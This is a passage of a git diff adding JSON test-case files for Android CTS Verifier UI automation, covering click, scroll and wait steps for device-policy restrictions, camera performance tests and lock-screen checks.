479c50\",\"83cfa9ae-57f0-4f83-8322-d7c03540d385\",\"a858547e-f1c4-4c35-aa69-a49ffe287422\",\"592d19a3-ab98-45bd-9eb3-bfd83e1cf28b\",\"f113d56c-15dc-4d8a-9715-a42d6736295d\",\"4d2431f1-067b-4715-ab7b-02d6b5b1b30f\",\"4edebdad-1f39-41fb-83a6-9c83be15e8c8\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"$uicd_null=null,\"}}","name":"Hide voicemail in call settings test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.282000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c4bab75-4bac-49fa-8264-5f4c3504c60b b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c4bab75-4bac-49fa-8264-5f4c3504c60b
new file mode 100644
index 0000000..3ec2539
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c4bab75-4bac-49fa-8264-5f4c3504c60b
@@ -0,0 +1 @@
+{"uuid":"3c4bab75-4bac-49fa-8264-5f4c3504c60b","details":"{\"type\":\"CompoundAction\",\"name\":\"15-15 &amp; 17-06-06-Disallow share location\",\"actionId\":\"3c4bab75-4bac-49fa-8264-5f4c3504c60b\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow share location\",\"actionId\":\"14168ea9-39c9-4936-9b7a-d7aa19902cc8\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow share location\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"03baa03a-71d8-4870-97e8-c0071558565c\",\"displayText\":\"Disallow share location\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow share location\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":443.0,\"x2\":360.0,\"y2\":487.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":82.5,\"y\":467.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":97.5,\"y\":-2.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"03baa03a-71d8-4870-97e8-c0071558565c\",\"firstText\":\"Disallow share location\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow share location\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":0.0,\"y1\":452.0,\"x2\":165.0,\"y2\":482.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow share location\",\"actionId\":\"0800ec87-c5a1-4e5a-b2f7-2672266c3b3c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow share location\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Use location\",\"actionId\":\"c6577778-5ed7-4615-ab87-2778459bcd62\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Use location\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"9ef9625d-e504-416c-92fb-1eecdfcdb443\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"d8cec779-a103-43fa-ad99-a21a16eaa0b0\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"14168ea9-39c9-4936-9b7a-d7aa19902cc8\",\"0800ec87-c5a1-4e5a-b2f7-2672266c3b3c\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"c6577778-5ed7-4615-ab87-2778459bcd62\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"9ef9625d-e504-416c-92fb-1eecdfcdb443\",\"d8cec779-a103-43fa-ad99-a21a16eaa0b0\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-15 &amp; 17-06-06-Disallow share location","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.142000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c520b0e-60ae-408c-9345-478080bfe14c b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c520b0e-60ae-408c-9345-478080bfe14c
new file mode 100644
index 0000000..f3918e4
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3c520b0e-60ae-408c-9345-478080bfe14c
@@ -0,0 +1 @@
+{"uuid":"3c520b0e-60ae-408c-9345-478080bfe14c","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if there is bubble on the screen\",\"actionId\":\"3c520b0e-60ae-408c-9345-478080bfe14c\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY if there is bubble on the screen\",\"actionId\":\"d101b8d9-2467-4025-8e4f-d7ae7024508d\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/bubble_view\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"d101b8d9-2467-4025-8e4f-d7ae7024508d\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if there is bubble on the screen","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.224000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3d93f0c9-abd2-4d15-92a3-5fc55f696ba9 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3d93f0c9-abd2-4d15-92a3-5fc55f696ba9
new file mode 100644
index 0000000..c1f9313
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3d93f0c9-abd2-4d15-92a3-5fc55f696ba9
@@ -0,0 +1 @@
+{"uuid":"3d93f0c9-abd2-4d15-92a3-5fc55f696ba9","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Camera Performance\",\"actionId\":\"3d93f0c9-abd2-4d15-92a3-5fc55f696ba9\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Camera Performance\",\"actionId\":\"0dd95e2d-df64-4b30-afbd-99a006fc85e6\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Camera Performance\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"afafd555-0f32-43f7-8816-8ef0d05a2a1f\",\"displayText\":\"Camera Performance\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Camera Performance\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":8.75,\"y1\":494.5,\"x2\":351.25,\"y2\":536.5},\"clickedPos\":{\"confidentLevel\":2,\"x\":89.5,\"y\":512.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":90.5,\"y\":3.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"afafd555-0f32-43f7-8816-8ef0d05a2a1f\",\"firstText\":\"Camera Performance\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Camera Performance\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":13.0,\"y1\":496.0,\"x2\":166.0,\"y2\":529.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Camera Performance\",\"actionId\":\"dd73a62f-c986-43cb-ba3f-697ff3f5db71\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT\",\"selector\":\"Camera Performance\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 1- testSingleCapture\",\"actionId\":\"6411bc87-1e9f-48b8-8df1-b40016c5cf2f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testSingleCapture\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 395 secs to finish auto testing\",\"actionId\":\"664cd4a0-304a-4e5a-a84b-3ab7b9423179\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":395000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 2-testReprocessingLatency\",\"actionId\":\"63e282c3-82bb-43d8-a700-6132ef3a41e7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testReprocessingLatency\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 25 secs to finish auto testing\",\"actionId\":\"bfbe6b5b-461c-4064-a77f-8db20b9abd37\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":25000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 3-testReprocessingCaptureStall\",\"actionId\":\"c0400709-5563-41eb-bf79-c377366ccb9c\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testReprocessingCaptureStall\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 35 secs to finish auto testing\",\"actionId\":\"d72def4d-5430-4da9-8566-f1247d0da0ce\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":35000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 4-testLegacyApiPerformance\",\"actionId\":\"6f529a15-ba6c-4760-a4ef-9c5f66dab631\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testLegacyApiPerformance\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 100 secs to finish auto testing\",\"actionId\":\"74a3701f-816a-466c-98e9-c56f219ecc73\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":100000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Tests 5-testHighQualityReprocessingLatency\",\"actionId\":\"44483b0a-8929-4a6c-b433-5acaf757a1d7\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testHighQualityReprocessingLatency\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 20 secs to finish auto testing\",\"actionId\":\"26748f05-dca9-4d22-8407-4ced88bd6840\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":20000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action,Tests 6-testReprocessingThroughput\",\"actionId\":\"4b208fec-6c48-4dbb-816d-abbc4666f0e9\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testReprocessingThroughput\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 15 secs to finish auto testing\",\"actionId\":\"fc8b1a56-07f5-4a46-96f6-c87233d52fe8\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":15000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 7-testHighQualityReprocessingThroughput\",\"actionId\":\"99fd5492-55ae-4fa0-a29e-cb5575616e2f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testHighQualityReprocessingThroughput\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 20 secs to finish auto testing\",\"actionId\":\"733e709c-e8ef-48fc-a68a-a62502b550d0\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":20000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Test 8-testMultipleCapture\",\"actionId\":\"c0ef82e4-da05-4595-8673-83d92af7c29f\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testMultipleCapture\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 100 secs to finish auto testing\",\"actionId\":\"9f09f73c-164a-4d73-85d6-1009083b94ea\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":100000,\"createdBy\":\"riacheltseng\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Tests 9-testCameraLaunch\",\"actionId\":\"5d48adec-14ce-4cc2-8af4-71dbb71af1a4\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"testCameraLaunch\"},{\"type\":\"WaitAction\",\"name\":\"WAIT 80 secs to finish auto testing\",\"actionId\":\"67dacea9-84a0-4236-aa8a-3dca7cf54587\",\"actionType\":\"WAIT_ACTION\",\"delayAfterActionMs\":80000,\"createdBy\":\"riacheltseng\"}],\"childrenIdList\":[\"863293b0-236f-46c2-9707-f3bf141fc9f8\",\"0dd95e2d-df64-4b30-afbd-99a006fc85e6\",\"dd73a62f-c986-43cb-ba3f-697ff3f5db71\",\"1601f323-e824-4190-9ee0-350f0a1149ea\",\"6411bc87-1e9f-48b8-8df1-b40016c5cf2f\",\"664cd4a0-304a-4e5a-a84b-3ab7b9423179\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"63e282c3-82bb-43d8-a700-6132ef3a41e7\",\"bfbe6b5b-461c-4064-a77f-8db20b9abd37\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"c0400709-5563-41eb-bf79-c377366ccb9c\",\"d72def4d-5430-4da9-8566-f1247d0da0ce\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"6f529a15-ba6c-4760-a4ef-9c5f66dab631\",\"74a3701f-816a-466c-98e9-c56f219ecc73\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"44483b0a-8929-4a6c-b433-5acaf757a1d7\",\"26748f05-dca9-4d22-8407-4ced88bd6840\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"4b208fec-6c48-4dbb-816d-abbc4666f0e9\",\"fc8b1a56-07f5-4a46-96f6-c87233d52fe8\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"99fd5492-55ae-4fa0-a29e-cb5575616e2f\",\"733e709c-e8ef-48fc-a68a-a62502b550d0\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"c0ef82e4-da05-4595-8673-83d92af7c29f\",\"9f09f73c-164a-4d73-85d6-1009083b94ea\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"5d48adec-14ce-4cc2-8af4-71dbb71af1a4\",\"67dacea9-84a0-4236-aa8a-3dca7cf54587\",\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Camera Performance","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.021000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3dabca21-35c3-4633-99c0-52e3a5a0d012 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3dabca21-35c3-4633-99c0-52e3a5a0d012
new file mode 100644
index 0000000..7f40396
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3dabca21-35c3-4633-99c0-52e3a5a0d012
@@ -0,0 +1 @@
+{"uuid":"3dabca21-35c3-4633-99c0-52e3a5a0d012","details":"{\"type\":\"CompoundAction\",\"name\":\"15-06-Disallow config mobile networks\",\"actionId\":\"3dabca21-35c3-4633-99c0-52e3a5a0d012\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config mobile networks\",\"actionId\":\"8a79681a-f61d-4150-acf3-f669753cce66\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config mobile networks\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"1fb16619-0863-49f2-ae0a-51559fce69ac\",\"displayText\":\"Disallow config mobile networks\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config mobile networks\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":298.3333333333333,\"x2\":360.0,\"y2\":342.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":116.0,\"y\":321.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":64.0,\"y\":-1.1666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"1fb16619-0863-49f2-ae0a-51559fce69ac\",\"firstText\":\"Disallow config mobile networks\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config mobile networks\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":308.0,\"x2\":231.0,\"y2\":335.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config mobile networks\",\"actionId\":\"dd76dce6-bb4d-43af-812c-53bb5ae8f358\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config mobile networks\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Mobile network\",\"actionId\":\"f5d141c7-7833-4ecd-8034-2f57fe6c2cf0\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Mobile network\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"20a9c13e-3742-4a31-a810-bb2014245bfe\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"23a072c6-b799-4b2a-9eb4-57cbcaba7d94\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"8a79681a-f61d-4150-acf3-f669753cce66\",\"dd76dce6-bb4d-43af-812c-53bb5ae8f358\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"f5d141c7-7833-4ecd-8034-2f57fe6c2cf0\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"20a9c13e-3742-4a31-a810-bb2014245bfe\",\"23a072c6-b799-4b2a-9eb4-57cbcaba7d94\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-06-Disallow config mobile networks","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.131000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3e3b1b72-32eb-4f57-a45f-d477fdcb1993 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3e3b1b72-32eb-4f57-a45f-d477fdcb1993
new file mode 100644
index 0000000..adb60f6
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3e3b1b72-32eb-4f57-a45f-d477fdcb1993
@@ -0,0 +1 @@
+{"uuid":"3e3b1b72-32eb-4f57-a45f-d477fdcb1993","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify None/Swipe/Pattern lock\",\"actionId\":\"3e3b1b72-32eb-4f57-a45f-d477fdcb1993\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Pattern\",\"actionId\":\"d7970b3a-1fdb-442f-8407-fbb2bbad79a5\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Pattern\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"de9492b0-2ba2-4b1c-9860-77611e060d4e\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"cccc0cd1-82fd-4292-8d4d-2028be141809\",\"d7970b3a-1fdb-442f-8407-fbb2bbad79a5\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"de9492b0-2ba2-4b1c-9860-77611e060d4e\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify None/Swipe/Pattern lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.159000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3efd7d24-773f-4254-9432-207fa91ad20f b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3efd7d24-773f-4254-9432-207fa91ad20f
new file mode 100644
index 0000000..619b737
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/3efd7d24-773f-4254-9432-207fa91ad20f
@@ -0,0 +1 @@
+{"uuid":"3efd7d24-773f-4254-9432-207fa91ad20f","details":"{\"type\":\"CompoundAction\",\"name\":\"Confirm Pattern lock\",\"actionId\":\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ConditionValidationAction\",\"name\":\"Confirm if pattern lock exist\",\"actionId\":\"f9e997e8-5402-4915-8f40-e6736c213405\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"query\":{\"condition\":\"or\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.android.systemui:id/lockPatternView\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Confirm your pattern\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Enter your work pattern\"}]},\"clickAfterValidation\":false}],\"childrenIdList\":[\"f9e997e8-5402-4915-8f40-e6736c213405\",\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm Pattern lock","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.035000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/40e973e7-1cab-4d00-918a-195bb7aab758 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/40e973e7-1cab-4d00-918a-195bb7aab758
new file mode 100644
index 0000000..95cde75
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/40e973e7-1cab-4d00-918a-195bb7aab758
@@ -0,0 +1 @@
